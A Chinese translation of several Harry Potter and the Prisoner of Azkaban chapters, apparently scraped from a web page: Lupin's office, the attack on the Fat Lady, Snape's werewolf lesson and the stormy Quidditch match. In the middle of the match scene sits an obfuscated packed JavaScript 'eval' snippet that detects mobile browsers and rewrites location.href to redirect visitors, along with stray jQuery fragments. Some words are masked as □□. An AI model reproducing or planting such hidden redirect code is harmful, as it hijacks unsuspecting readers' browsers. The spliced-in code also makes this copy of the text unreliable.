“没干嘛!”费尔奇往地上唾了一口,他的下巴令人不愉快地抖动着。“说得倒像真的似的!你一个人在这里偷偷摸摸地走着,你怎么没跟你那些讨厌的朋友在一起,现在正在霍格莫德买臭弹和打嗝粉,还有飞鸣虫呢?” 哈利耸了耸肩。 “好吧,回到你该去的公共休息室去!”费尔奇厉声说,他站在那里瞪着哈利,直到哈利走得看不见了为止。 但是哈利没有回到公共休息室去;他登上一道搂梯,迷迷糊糊地想着,是不是该到猫头鹰栖息、出没的地方去看看海德薇,于是他沿着另外一条走廊走去,这时,一个房间里有人招呼他:“哈利?” 哈利回身看是谁,只见是卢平教授,正在他办公室的门口四处张望。 “你在干什么?”卢平问,口气和费尔奇完全不同,“罗恩和赫敏呢?” “霍格莫德。”哈利说,尽量说得很随意。 “啊。”卢平说。他对哈利看了一会儿。“你为什么不进来呢?我刚刚收到为我们的下一课准备的格林迪洛。” “什么东西?”哈利问。 他跟随卢平进了办公室。办公室角落里放着一个很大的水箱,一个长着尖尖的小角、病恹恹的绿色家伙把脸紧贴在玻璃上,它做着鬼脸,不断伸曲着细长的爪子。 “水怪,”卢平说,若有所思地看着格林迪洛,“我们对付它应该不会有多大困难,毕竟我们有过卡巴了。秘诀在于破坏它的紧握。你注意到那长得不正常的爪子了吗?强壮,但是脆弱。” 那格林迪洛龇出绿色的牙齿,然后把自己埋在水箱角落里的一团乱糟糟的水草里了。 “喝杯茶吗?”卢平说,四处找着水壶,“我方才正在想着泡一杯呢。” “好的。”哈利尴尬地说。 卢平用魔杖轻敲水壶,壶嘴便突然喷出一股蒸气来。 “坐下。”卢平说,揭开垃圾桶的盖子,“我只有袋泡茶,恐怕——不过我敢说你对茶叶已经觉得够烦了吧?” 哈利看着他。卢平的 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“好吧,”卢平说,眉头略略皱着,“我假定如果搏格特面对着你,就会以伏地魔的形象出现的。” 哈利瞪眼。不但这样的回答是他不曾料到的,而且卢平说出了伏地魔的名字。哈利知道的唯一一个曾大声说出这个名字的人(哈利自己除外)是邓布利多教授。 “显然,我错了。”卢平说,仍然对哈利皱着眉头,“但是我认为,伏地魔在□□休息室里现形不是好主意。我想大家会被吓得要命的。” “我首先想到的的确是伏地魔,”哈利诚实地说,“但是,然后我——我想起了那些摄魂怪。” “我明白了,”卢平沉思着说,“唔,唔,我有印象。” 哈利脸上露出惊讶的表情,卢平对此微微一笑。“这说明你最怕的东西是——恐惧。很聪明,哈利。” 对这句活,哈利不知道说什么才好,他只得去喝茶。 “那你一直在想我不相信你能够斗得过博格特?”卢平精明地问。 “唔...是的。”哈利说,他突然感到高兴了许多。“卢平教授,您知道那摄魂怪——” 有人在门上敲了一下,哈利的话被打断了。 “进来。”卢平大声说。 门开了,斯内普走了进来。他手上拿着一个高脚杯,微微冒着热气,看见哈利,他停住脚步,黑眼睛眯了起来。 “啊,西弗勒斯,”卢平微笑着说,“多谢。把它放在书桌上好吗?” 斯内普把还冒着热气的杯子放下来,他的目光在哈利和卢平之间来回移动。 “我正在让哈利看我的格林迪洛。”卢平指着那水箱高兴地说。 “令人着迷。”斯内普说,却并没有往那里看,“你应该直接喝下去,卢平。” “是,是,我会喝的。”卢平说。 “我做了满满一锅呢,”斯内普说,“要是你还要的话。” “明天我很可能还要喝一点。多谢,西弗勒斯。” “别客气。”斯内普说,但他眼睛里有一种神色,是哈利不乐意看到的。 斯内普退出房间的时候,脸上没有微笑,还一副有所戒备的样子。 哈利好奇地看着那个高脚杯,卢平微笑着。 “斯内普教授好心为我调制了一服药剂,”他说,“我对调制药剂一直不大在行,而这一服又特别复杂。” 他拿起高脚杯,闻了闻。 “可惜不能放糖。”他又加了一句,啜饮了一口,发起抖来。 “为什么——”哈利张口问。卢平看看他,回答了这个没有问完的问题。 “我一直觉得不大好,”他说,“只有这服药才能起到作用。我很幸运,能和斯内普教授一块儿工作:能够调制这种药剂的巫师实在不多。” 他又喝了一口,哈利恨不得从他手里夺下这只高脚杯。 “斯内普教授对黑魔法很感兴趣呢。”他脱口而出。 “是吗?”卢平说,对这句话好像不大感兴趣,随即又喝了一大口。 “有人认为——”哈利犹疑了一下,然后不顾一切地说下去,“有人认为他特别想教黑魔法防御术,为了得到这个职位不惜代价。”卢平一口喝干了药,做了个鬼脸。 “真难喝。”他说,“好啦,哈利。我还是回去工作的好。晚宴时侯再见。” “好吧。”哈利说,把他的空茶杯放下了。那只已经喝空的高脚杯还在缓缓地冒着气。 “看,”罗恩说,“我们带给你这么多糖果,再多就带不了了。” 一大捧糖果暴雨似的落到哈利膝上。 这是薄暮时分,罗恩和赫敏刚刚在公共休息室露面。他们的脸已被冷风吹成粉红色,看上去好像是痛痛快快地玩了一阵子。 “多谢,”哈利说,捡起一袋小巧的胡椒小顽童,“霍格莫德怎么样?你们都去了哪些地方?” 听听就知道了——什么地方都去了。德维斯和班斯、魔法设备店、佐科笑话店,还去了供应泛泡沫的黄油啤酒的三把扫帚,以及别的许多地方。 “那邮局,哈利!大约有二百只猫头鹰,都坐在架子上,都有颜色代码,就看你的信需要走多快了!” “蜂蜜公爵有一种新的牛奶软糖,他们在分发免费的样品呢,这里有一点,你看——” “我们认为我们看到了一个吃人妖魔,真的,三把扫帚那里各种各样的都有——” “真想给你带些黄油啤酒,真能让你暖和起来——” “你在学校做了些什么?”赫敏问道,很焦急的样子,“做完什么作业了吗?” “没有,”哈利说,“卢平在他的办公室里给我沏了一杯茶。接下来斯内普进来了...” 他把有关那只高脚杯的事全部告诉了他们。罗恩的嘴张得大大的。 “卢平喝了吗?”他喘气,“他疯了?” 赫敏看了一下表。“我们还是下楼吧,要知道,再有五分钟,晚宴就开始了...” 他们急急忙忙地穿过肖像画上的洞,加入到人群中去了,一路上还在说着斯内普。 “不过要是他——你们知道——”赫敏放低了声音,一面紧张地四处张望,“如果他在设法——毒死卢平——他不会当着哈利的面这样做的。” “对,可能是这样。”哈利说,这时他们已经走到前厅,正在穿行进入礼堂。礼堂里挂着成百上千只南瓜灯,还有一群振翼飞舞的蝙蝠和许多喷吐火焰的橘色飘带,它们在天花板下面懒洋洋地飘荡,像是灿烂的水蛇。 食物是精美的;就连赫敏和罗恩这样吃蜂蜜公爵的糖果,吃得肚子快要爆裂的人,也每样食物都要了第二份。 哈利一直偷眼看着□□席。卢平教授看上去很高兴,而且像平时一样正常:他正在和小个子魔咒教师,弗立维教授活跃地谈话。哈利顺着桌子往下看,一直看到斯内普坐的地方。是他的想象,还是斯内普瞥卢平的眼光比起平时来不大正常呢? 晚宴以霍格沃茨的幽灵提供的文娱节目作为结束。幽灵们从墙上和桌子上突然出现,来作一种列队滑行。格兰芬多的差点无头的尼克,也成功地重现了他当年被杀头的情况。 这个晚上过得真愉快,哈利的情绪很好,马尔福在大家离开礼堂时在人群中高声叫道:“摄魂怪向你致意,哈利!”就连这样,也没有扫他的兴。 哈利、罗恩和赫敏跟随格兰芬多的其他人,沿着通常的路线一起去到格兰芬多塔楼。但是等他们走到胖夫人肖像面前时,却发现走廊里挤了许多人。 “大家为什么都不进去呢?”罗恩好奇地说。 哈利越过人头向前看去。那张肖像画好像是关闭着的。 “请让我过去。”珀西的声音,他从人群中神气地走出来。“干吗堵在这儿啊?你们大家总不见得都忘了口令吧——对不起,我是男生学生会主席——” 人群静了下来,是从最前面开始安静下来的,所以这就像一阵寒流在走廊里散布开来一样。他们听到珀西说话,声音突然变得尖利起来:“谁去请一下邓布利多教授。快!” 人们都回过头来,站在最后的人踮起了脚。 “出什么事啦?”金妮说,她刚到。 过了一会儿,邓布利多教授到了,他急忙走向那幅肖像画。格兰芬多院的学生都挤在一起让他过去,哈利、罗恩和赫敏靠得更紧了一些,想看清楚麻烦出在哪里。 “哦,天哪——”赫敏惊叫,抓紧了哈利的手臂。那胖夫人已经从肖像画上消失了,肖像画遭到了恶意破坏,帆布小片在地上到处都是,大块画布则被完全从画框上撕走了。 邓布利多对被损坏的画迅速地看了一眼。“麦格教授,请马上到费尔奇那里去,告诉他在城堡里每幅画上寻找那位胖夫人。” “你会走运的!”一个嘶哑的声音说。那是捉弄人的皮皮鬼,他在人群的头顶上跳着,很高兴的样子,看到破坏和忧愁的景象,他向来如此。 “你这是什么意思,皮皮鬼?”邓布利多镇静地问道。皮皮鬼的笑容消退了一点:他不敢嘲笑邓布利多。他转而采取了一种油滑的腔调,听起来倒比那嘶哑的声音要好些。 “不好意思,校长先生。不想被人看见:她被弄得一塌糊涂了。看见她跑过五楼那张风景画,先生,躲在树木中间,哭着说了些什么可怕的事情。”他高兴地说。“可怜的东西。”他加了一句,却全无可怜别人的意思。 “她说了是谁干的吗?”邓布利多安静地问。 “哦,说了,教授头子。”皮皮鬼说,神气得像是怀中抱着一枚大炸弹似的。 “她不让他进去,他非常恼火,你明白。”皮皮鬼在空中翻跟斗,从他自己的双腿中间对邓布利多咧着嘴笑。 “他脾气可真坏,这个小天狼星,布莱克。” 47.不祥的失败 邓布利多教授叫所有的格兰芬多学生都回到礼堂去,十分钟以后,其它学院的学生也来了,这些学生都是一副摸不清头脑的样子。 “□□们和我本人将对城堡进行一次彻底的搜查,”邓布利多教授对学生们说,这时,麦格教授和弗立维教授关上了礼堂所有的门,“为了你们自己的安全,我想你们可能要在这里过夜了。我要求级长们在礼堂入口处站岗,男生和女生学生会主席留在礼堂里负责管理。出了任何事马上向我报告,”他向珀西加了这一句,珀西一脸重要人士的自豪,“找一个幽灵带话给我。” 邓布利多教授停了一下,正要离开礼堂,又说:“哦,对了,你们会需要...”他随意一挥魔杖,长桌就都飞到礼堂的边上,靠墙站好了。再挥一下,地面上就铺满了成百个紫色的睡袋。 “好好睡。”邓布利多教授说,他出去时随手关上了门。 礼堂立即响起了一片兴奋的嘤嘤嗡嗡的说话声,格兰芬多的学生忙着告诉其他学生刚才发生了什么事情。 “大家都进睡袋!”珀西大声叫道,“快,谁也别说话了!十分钟以后熄灯!” “来吧。”罗恩对哈利和赫敏说,他们抓过三个睡袋躲到角落里去了。 “你们说布莱克还在城堡里吗?” 赫敏焦急地悄声问道。 “邓布利多显然是这么想的。”罗恩说。“他挑了今晚来,真是我们的幸运,你们知道吗?”赫敏说,这时他们三个人和衣钻到睡袋里去,然后把上身支在胳膊肘上谈心。“今晚正是我们都不在塔楼...” “我猜他是日子过糊涂了,因为他一直在逃亡,”罗恩说,“没想到今天是万圣节前夕。要不然他不会闯进来的。”赫敏发起抖来。 他们周围的人都在彼此问着同一个问题:“他怎么进来的?” “说不定他知道怎么潜形,”几英尺之外的一个拉文克劳的学生说,“就是从稀薄的空气中显现。你们知道。” “很可能是化了装进来的。”赫奇帕奇的一个五年级学生说。 “要不然是飞进来的。”迪安·托马斯说。 “说实在的,难道我是唯一一个不怕麻烦读过《霍格沃茨,一段校史》的人吗?”赫敏对哈利和罗恩没好气地说。 “很可能。”罗恩说,“为什么?” “因为这座城堡不仅仅有墙壁的保护,你们知道,”赫敏说,“城堡还被施了各种魔法,以防外人偷偷地进来。光潜形是进不来的。而且我倒想看看什么样的化装能够骗过那些摄魂怪。这些家伙守着每一处入口。要是他飞进来,它们也会看见的。而且费尔奇知道所有秘密通道,它们会把这些通道都封起来...” “现在熄灯!”珀西大叫,“我要每一个人都进睡袋,还要停止说话!” 所有的蜡烛立刻熄灭了。现在唯一的亮光来自银色幽灵,他们四处游走,和级长们严肃地说着话。 施过魔法的天花板就像外面的天空一样,布满了星星。在这种情况下,加之礼堂里仍旧到处是耳语声,哈利觉得自己好像是睡在轻风拂面的户外。 每隔一个小时,就有一位老师在礼堂里出现,看看是否一切平安无事。 大约在凌晨三点钟的时候,许多学生终于睡着了,这时,邓布利多教授进来了。哈利看他在四处寻找珀西,珀西在睡袋之间蹑手蹑脚地行走,看有谁在说话就告发谁。珀西离哈利、罗恩和赫敏没多远了,他们赶快假装睡着了。这时,邓布利多的脚步声越来越近。 “有他的任何迹象吗,教授?”珀西悄声问道。 “没有,这里怎么样?” “一切都在控制之下,先生。” “好。现在不必让他们换地方。我已经给格兰芬多学院的肖像洞口找到了临时守卫。明天你就可以叫大家都回去了。” “那胖夫人呢,先生?” “躲在三楼的安吉尔郡地图里面。显然她在问不出口令来的情况下不让布莱克进去,因此他就动手了。她仍旧情绪极坏,但是一旦她镇静下来,我就会叫费尔奇把她修复。” 哈利听见大厅的门响了一声又开了,还听见了更多的脚步声。 “校长?”这是斯内普。哈利仍旧静静地躺着,用心去听。“整个四楼都查过了,他不在那里。费尔奇查了城堡主楼,那里也没有。” “天文塔呢?特里劳妮教授的房间?猫头鹰栖息出没的地方?” “都查过了...” “很好,我并不真的认为,布莱克会逗留不走。” “他怎么进来的,关于这一点,你有什么见解吗,校长?”斯内普问道。 哈利把头稍稍抬起一点,以便另外一只耳朵听得清楚些。 “许多,西弗勒斯,每一种都和最后的那种一样不可能。” 哈利眼睛睁开了一条缝,偷偷向他们站的地方看。 邓布利多背对着他,但他可以看到珀西的脸,但见他全神贯注,还可以看到斯内普的侧脸,斯内普似乎在生气。 “你记得我们的谈话罢,校长,就在——哦——学期开始以前吧?”斯内普说,说话时嘴唇几乎没有张开,好像是不想让珀西参与他们的谈话似的。 “记得,西弗勒斯。”邓布利多说,声音里含有类似警告的意味。 “好像——几乎不可能——布莱克没有内部的帮助是进不了这所学校的,我的确表示过关注,在你任命——” “我不相信这座城堡里,有哪个人会帮助布莱克进来。”邓布利多说,他的声调清楚地表明这件事就谈到这里为止,因此斯内普没有作答。 “我必须到那些摄魂怪那里去了,”邓布利多说,“我说过,我们搜查完毕就通知它们。” “它们打算帮忙吗,先生?”斯内普说。 “哦,是的,”邓布利多冷淡地说,“但是恐怕只要我担任校长一天,就绝不许它们跨过学校的门槛。” 珀西似乎稍微有些窘迫。邓布利多离开了礼堂,走得很快很轻。新内普站了一会儿,看着校长离去,脸上带有深深的愤怒。然后他也走了。哈利往两旁看罗恩和赫敏。两人的眼睛都睁着,看着有星星的天花板。 “这都说的什么话?”罗恩的口型表达了这样的意思。 以后几天,学校里大家谈的都是布莱克。关于他如何进入城堡的说法越传越玄:赫奇帕奇一个叫汉娜·艾博的学生,听说布莱克能够化身为一丛开花的灌木,就在他们下一次的魔药课上花了很多时间,把这件事告诉给每一个愿意听她说的人。 胖夫人那幅遭到破坏的肖像已经从墙上拿了下来,取代它的是卡多根爵士和他那匹肥胖的灰色矮种马的肖像。没有人对这件事感到高兴:卡多根爵士把他的时间一半花在向人们发出挑战、要求人们和他决斗上。其余时间则用在琢磨复杂得可笑的口令上,一天之中,他至少要改两回口令。 “他真是疯了,”西莫·斐尼甘生气地对珀西说,“我们就不能换个人吗?” “别的肖像画都不愿意干这份差事,”珀西说,“被胖夫人遇到的事吓坏了。卡多根爵士是唯一一个挺身而出的。” 然而,哈利担心的还不是卡多根爵士。现在他受到严密监视。□□们找到各种借口在走廊里和他一起走,珀西·韦斯莱(哈利猜想这是他妈妈的命令)到处跟着他,好像一条极其神气活现的守卫狗。最要命的是,麦格教授把哈利叫到她办公室里去,脸上的神情让哈利以为一定是谁死了。 “没有必要再瞒你了,波特,”她很严肃地说,“我知道这对于你来说会感到震惊,但是布莱克——” “我知道他在追我,”哈利疲倦地说,“我听到罗恩的爸爸告诉过他的妈妈。韦斯莱先生在魔法部工作。” 麦格似乎非常吃惊。她瞪眼看着哈利,看了一会儿才说:“我明白了!好吧,那么,波特,这你就理解我为什么认为你在傍晚练习魁地奇不是什么好主意了。在球场上,周围只有你的队友,你是很暴露的,波特——” “星期六我们就要进行第一场比赛了!”哈利说,心中大怒。“我一定得训练,教授!” 麦格教授专心地看着他。哈利知道她是极其关心格兰芬多球队的前途的,毕竟是她首先建议让哈利担任找球手的。他等待着,紧张地屏住了气。 “唔...”麦格教授站了起来,瞪眼看着窗外的魁地奇球场,球场在雨中隐约可见。“好吧...天晓得,我倒愿意看到我们的队最后捧回奖杯...但是不管怎么样,波特...要是有一位教师在场,我会高兴一些的。我会请霍琦夫人去监督你们的训练。” 第一场魁地奇比赛逐渐临近,但天气越来越坏。在霍琦夫人的监督之下,格兰芬多队勇敢地训练,比以前更加刻苦了。 然而,在星期六比赛以前最后一次训练的时候,奥利弗给他的球队带来了不受欢迎的消息。 “我们不和斯莱特林队比了!”他愤怒地告诉他们,“弗林特刚才来看过我。我们要和赫奇帕奇队比了。” “为什么?”其他队员齐声问道。 “弗林特的借口是,他们的找球手受伤的手臂还没有好。”伍德说,狂怒地龇着牙,“但他们这么做,目的是再明显不过的,就是不想在这样的天气里比赛,认为这会破坏他们的机会...” 这一天整天狂风骤雨,就在伍德说话的时候,他们还听到了远处雷声隆隆。 “马尔福的胳膊根本没问题!”哈利大怒着说,“他在装模作样!” “我明白,不过我们没法证明这一点。”伍德痛苦地说,“我们一直在以斯莱特林为对象进行练习,而现在和我们比赛的是赫奇帕奇队,他们的作风是相当不一样的。他们有了新队长和找球手塞德里克·迪戈里——” 安吉利娜、艾丽娅和凯蒂突然傻笑起来。 “什么?” 伍德说,对于这种无忧无虑的行为不以为然。 “他就是那个身材高高、样子漂亮的男生吧?”安吉利娜说。 “强壮少说话的那个。”凯蒂说,她们又开始傻笑起来。 “他说话少是因为他笨得同时说不出两个词儿来。”弗雷德不耐烦地说,“我不明白你为什么要担心,奥利弗,赫奇帕奇队是容易打败的对手。上次我们和他们比赛的时候,哈利五分钟工夫就抓住了金色飞贼,记得吗?” “我们是在完全不同的情况下比赛!”伍德大声叫道,他的眼球稍稍有些突出。“迪戈里组织了阵容强大的班子!他是个出色的找球手!我正是担心你们会这样想!我们一定不能轻敌!我们必须抓主要问题!斯莱特林想看我们一步踏错!我们必须得胜!” “奥利弗,别着急上火,”弗雷德说,有点惊慌,“我们会认真对待赫奇帕奇队的。我们认真。” 比赛前夕,风狂雨骤,比之前更加厉害。走廊和教室里乌黑一片,只好多点了些火把和灯。斯莱特林队的确一副沾沾自喜的样子,而在这方面,谁也比不上马尔福。 “啊,要是我的胳膊好一点儿就好了!”他叹道,这时室外的狂风正撞击着窗子。 哈利脑子里除了第二天的比赛以外,什么都没有时间想了。奥利弗·伍德在课间不断跑来找他,不断给他提示。 伍德第三次这样做的时候,说了很多。哈利突然发现自己要上的黑魔法防御术课已经开始十分钟了,于是拔脚便跑,而伍德还在他后面叫道:“迪戈里的突然转向非常快,哈利,所以你不妨想办法把他缠住——” 哈利在黑魔法防御术课的教室外边刹住了脚步,推开门,冲了进去。 “对不起,我迟到了,卢平教授,我——” 但是,在讲台上看着他的不是卢平教授,是斯内普。 “这堂课十分钟以前就开始了,波特,我认为应该给格兰芬多扣十分。坐下。” 但是哈利没有动。 “卢平教授哪里去了?” “他说他今天病得不能上课。”斯内普说,龇牙咧嘴地笑着,“我不是已经叫你坐下了吗?” 但是哈利站在原地不动。 “他怎么不好啦?” 斯内普的黑色眼睛发出光芒。 “没有生命危险。”他说,样子像是但愿如此。“再扣格兰芬多五分,要是我再次叫你坐下而你不坐下,那就扣五十分。” 哈利慢慢地走到自己的座位上坐下。斯内普环顾全班。“在波特打断我以前,我在说卢平教授没有留下能说明你们班进度的记录——” “先生,我们已经学了博格特、红帽子、卡巴和格林迪洛,”赫敏迅速地说,“我们刚要开始——” “安静,”斯内普冷冰冰地说,“我没有问你们。我只是对卢平教授缺乏条理的教学发表评论。” “他是我们有过的最好的黑魔法防御术教师。”迪安·托马斯大胆地说,班上其余学生都喃喃表示同意。 斯内普比平时更加是一脸威胁的神态。 “你们是容易满足的。卢平几乎没有对你们提什么高要求——我认为一年级就应该能够对付红帽子和格林迪洛了。今天我们要讨论——” 哈利看着他迅速翻动教科书,一直翻到最后一章,他一定知道他们还没有学过。 “——狼人。”斯内普说。 “但是,先生,”赫敏说,似乎没法控制自己,“我们还不应该学狼人呢,我们应该开始学欣克庞克——” “格兰杰小姐,”斯内普说,声调是死一般的平静,“我觉得好像是我在教课,不是你。我告诉你们大家,翻到第三百九十四页。”他再次四顾,“你们大家!现在!” 全班许多人痛苦地偷着交换眼色,有些人阴郁地叽咕着,大家打开了书本。 “你们谁能告诉我,如何区别狼人和真正的狼?” 大家都默默地坐在那里,一动不动;除了赫敏以外,她的手像往常一样笔直地举在空中。 “谁能回答?”斯内普说,不理赫敏。他又龇牙咧嘴地笑了。“你们难道是在告诉我,卢平教授没有把这两者之间的基本区别教给你们——” “我们告诉你,”帕瓦蒂突然说,“我们还没有学到狼人那一章呢,我们还在学——” “安静!”斯内普咆哮道,“好,好,好,我从来没想到,我居然会碰上识别不出狼人的三年级学生。我要记下来,告诉邓布利多教授你们是多么落后——” “先生,”赫敏说,她的手仍然举着,“狼人和真正的狼有好几个地方不同。狼人的口鼻部——” “这是你第二次抢先发言了,格兰杰,”斯内普冷淡地说,“为了一个叫人没法忍受的万事通,再扣格兰芬多五分。” 赫敏脸涨得通红,放下了手,瞪眼看着地,眼睛里充满了泪水。全班都怒目注视着斯内普,这说明大家是多么嫌恶斯内普,因为班上每一个人都至少有一次曾把赫敏叫成万事通,而罗恩至少一星期两次对赫敏说她是万事通。 罗恩大声说:“您问我们一个问题而她知道答案!要是您不想要答案,那您干吗要问?” 全班马上意识到罗恩太过分了。斯内普慢慢地走向罗恩,全教室都屏住了呼吸。 “放学后留下,韦斯莱。”斯内普讨好似的说,他的脸和罗恩的靠得很近。“如果我再听到你批评我的教学方式,你会非常后悔的。” 此后的课堂上,谁也没有发出任何声音。大家坐着,根据教科书做有关狼人的笔记,而斯内普在课桌之间来回走动着,检查他们在卢平教授教课期间所完成的学业。 “解释得很差劲...这里说得不对,卡巴在蒙古更多...卢平教授说是十分之八?我说十分之三都不到...” 下课铃终于响了,斯内普没让他们走。 “你们每人写一篇论文,交给我,内容是识别和杀死狼人的方法。这个题目应该写两张羊皮纸,星期一早晨交。应该有人管管这个班了。韦斯莱,留下来别走,我们要安排关你禁闭的事。” 哈利和赫敏与班上其他同学一起离开了教室,赫敏等到大家走得都听不见了,才大声怒骂起斯内普来。 “斯内普以前从来没有这样对待过,教我们的其他黑魔法防御术的老师,就算他的确想来教我们的话,”哈利对赫敏说,“他为什么这样对卢平呢?你说是都因为那次博格特事件吗?” “我不知道,”赫敏忧郁地说,“不过我真希望卢平教授会很快好起来...” 五分钟以后罗恩赶上了他们,气得不可开交。 “你们知道那——(他骂了斯内普一句什么,弄得赫敏叫道:“罗恩!”)——叫我做什么吗?叫我去擦医院里的夜壶,还不准用魔法!”他气得直喘,拳头握得紧紧的。“布莱克为什么不能躲在斯内普办公室呢,嗯?他可以替我们结果他呀!” 第二天早晨,哈利很早就醒了,因为太早,外面还漆黑一片。他起初以为是怒吼的狂风把他叫醒的,然后他觉得后脖子那里有一阵冷风,他一下子就坐了起来—— 捉弄人的皮皮鬼飘浮在他身边,使劲向他耳朵里吹气。 “你干吗这样吹?”哈利恼怒地问道。 皮皮鬼鼓胀了两腮,吹得更加起劲,然后旋转着退出房间,咯略地笑着。 哈利摸到自己的闹钟,看了看。四点半。 哈利骂着皮皮鬼,翻了个身,打算再睡。但他既然醒了,再要入睡就很困难了,他不能无视半空中隆隆的雷声、狂风撞击城堡墙壁的响动和远处禁林中树木折断的声音。几个小时以后,他就要到外面魁地奇球场上去了,要在狂风之中搏斗。 最后,他放弃了再睡下去的想法,起床,穿衣,拿起他的光轮2000,静静地走出了宿舍。 哈利打开门,什么东西从他脚边掠过。他弯下腰,及时地抓住了克鲁克山那毛茸茸的尾巴尖,把它拉了出去。 “你知道,我想罗恩防备你是对的。”哈利怀疑地对克鲁克山说,“这里有许多耗子,去捉它们。去呀,” 他加上一句,用脚把克鲁克山推下螺旋形楼梯,“别惊动斑斑。” 在公共休息室,暴风雨的声音更响。哈利知道不能指望比赛会取消:魁地奇比赛不会为雷雨这种小事而取消的。 纵然如此,他还是开始觉得很害怕:伍德曾经在走廊里把塞德里克·迪戈里指给他看。迪戈里是五年级学生,个子比哈利大许多。找球手通常是身轻、跑得快的那种人,但是迪戈里的体重在这种天气倒是有利因素,因为他不会被吹得站不住脚。 哈利在壁炉面前打发掉了这几个小时,时不时地起身,不让克鲁克山又偷偷地上男生宿舍的楼梯。最后,哈利想差不多到早饭时间了,就独自走向肖像画的洞去了。 “站住,开战吧,你这条劣狗!”卡多根爵士嚷道。 “哦,住嘴。”哈利打着哈欠说。 喝完一大碗粥以后,他精神了一点儿,等他开始吃吐司的时候,球队的其他队员也来了。 “这场比赛会是激烈的。”伍德说,什么也吃不下。 “别担心,奥利弗,”艾丽娅安慰他,“有一点儿雨我们不在乎。” 但这可不是一点儿雨。魁地奇极受欢迎,因此全校师生和平常一样倾巢而出,观看这次比赛,他们穿过草坪跑向魁地奇球场,低着脑袋抵御大风.因为半路上他们的雨伞被风从手中吹走了。哈利在进入更衣室之前看见了马尔福、克拉布和高尔,他们正走向体育场,三人在一把大雨伞下面指着他大笑。 球队队员都换上猩红色的袍子,等伍德作一贯的赛前鼓励士气的讲话,但没想到,伍德几次想张嘴说话,却只发出古怪的喘不过气来的声音,然后他无可奈何地摇摇头,招手示意大家跟他走。 风刮得厉害,他们走到球场时个个东倒西歪。在隆隆的雷声中,观众即使为他们欢呼,他们也听不见。雨点打在哈利的眼镜上。天哪,在狂风暴雨之中,他怎么能看得见那金色飞贼呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411798|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赫奇帕奇队从球场对面向他们走过来,他们穿的是金丝雀黄的袍子。双方队长走上前来互相握手。迪戈里对伍德微笑着,但是伍德现在看上去好像患了牙关紧闭症,他只是点了点头。 哈利看见霍琦夫人的口型:“上飞天扫帚。”他从泥里拔出右脚,然后跨上光轮2000。霍琦夫人把哨子放到嘴边,使劲一吹,发出尖厉的哨声,听上去是从远处传来的——比赛开始了。 哈利骑得很快,但是他的光轮2000在风中有点晃动不稳。他尽量握紧,转身冲进了风雨之中。 五分钟之后,哈利浑身湿透了,而且还冻僵了,也很难看清他的队友,更不要说那个小小的金色飞贼了。 他在球场上纵横驰骋,掠过一个个模糊的红色和黄色的身影,一点不知道比赛进行的情况。在狂风大作的情况下,他也听不见评论,观众都隐藏在斗篷和被风吹得不成形的雨伞的海洋下面。 哈利两次差一点就被游走球碰下飞天扫帚来,大雨弄得他视线模糊,他根本看不到它们从对面撞来。 他也不知道比赛进行多久了。保持飞天扫帚走直线越来越难了。天空越发黑了,好像黑夜已经决定提前到来。哈利有两次险些撞到另一个球员身上,而且也不知道那是自己的队友还是对方的球员。 现在,每个人都淋得透湿,雨点又那么密,他简直没法看清...霍琦夫人的哨声伴随着第一次闪电吹响了。哈利仅仅能在密密的雨帘中看到伍德的轮廓,伍德正向哈利示意,要他下到地面上来。全队泼溅着水降到泥泞之中。 “我叫了暂停!”伍德对队员们吼道,“来吧,到那下面——” 他们挤在球场边上一把大雨伞下面。哈利摘下眼镜在袍子上匆匆擦了擦。 “比分多少?” “我们领先五十分,”伍德说,“但是,除非我们很快抓到那金色飞贼,不然我们就要比到晚上了。” “我戴着眼镜简直没办法。”哈利挥动着眼镜懊丧地说。 就在此刻,赫敏在哈利身旁出现了。她是顶着斗篷过来的,而且竟然还笑容满面。“我有个主意,哈利!把你的眼镜给我,快!” 他把眼镜递给她,整个球队惊讶地看着,赫敏用她的魔杖轻敲哈利的眼镜,说了声:“防水防湿!” “好啦!”她说,把眼镜还给哈利,“水不会妨碍你的眼镜了!” 伍德在一旁看着,似乎恨不得去吻她。 “太棒了!”他声音嘶哑地在她身后叫道,这时她已经隐没在人群之中了。 “好吧,大伙儿,好好干!”赫敏的咒语奏了效。哈利还是冷得手脚麻木,仍旧是平生未有的那么湿,但他看得见了。他重新下定决心,催促他的扫帚穿过紊乱的气流,向各个方向寻找金色飞贼,在这个过程中他避开了一个游走球,从迪戈里身下潜行而过,迪戈里那时正在相反的方向飞跑...又响起一阵雷声,接着便是叉形闪电。越来越危险了。哈利必须迅速抓到那个金色飞贼——他转过身来,想要回到球场中央。 但就在这时,又一道闪电照亮了看台,哈利看见了让他完全分心的东西:一条满身粗毛的巨大黑狗的侧影,这侧影在天际映得清清楚楚,它待在看台最高层的一排空座位上。 哈利那麻木的双手在飞天扫帚上滑了一下,他的光轮2000往下坠了几英尺。他把湿透的流苏从眼前拂开,又斜眼去看那看台。那条狗已经不见了。 “哈利!”伍德那苦恼的叫嚷声从格兰芬多的球门那里传了过来。“哈利,你后面!” 哈利惊慌四顾。迪戈里连续往球场猛落,一个小小的金色斑块在雨丝密布的空中、在他们之间闪烁...哈利惊慌之下全身伏在飞天扫帚上,旋转着冲向那金色飞贼。 “加油!”他对他的光轮吼道。雨点打着他的脸,“ 快!” 但是,发生了奇怪的事。跑道周围台阶式看台上出现一片因胆怯而产生的寂静;风虽然仍旧和以前一样地强劲,却忘记了吼叫,好像有人把风声关掉了,好像哈利突然之间聋了——发生什么事了呢? 然后,一阵熟悉的可怕的寒流又向他袭来,在他身体里面,这时他刚刚感觉到下面的球场上有什么东西在动...哈利来不及想,便把眼睛从金色飞贼上移开往下看。 至少有一百个摄魂怪站在下面,它们那隐藏在头巾下面的脸都对着他。好像冰冻的水从他胸中升了起来,切割着他的内脏。然后他又听到那声音了...有人在呻吟,在他脑袋里呻吟...一个妇女... “别动哈利。别动哈利,请别动哈利!” “一边儿去,你这笨女人..一边儿去,现在...” 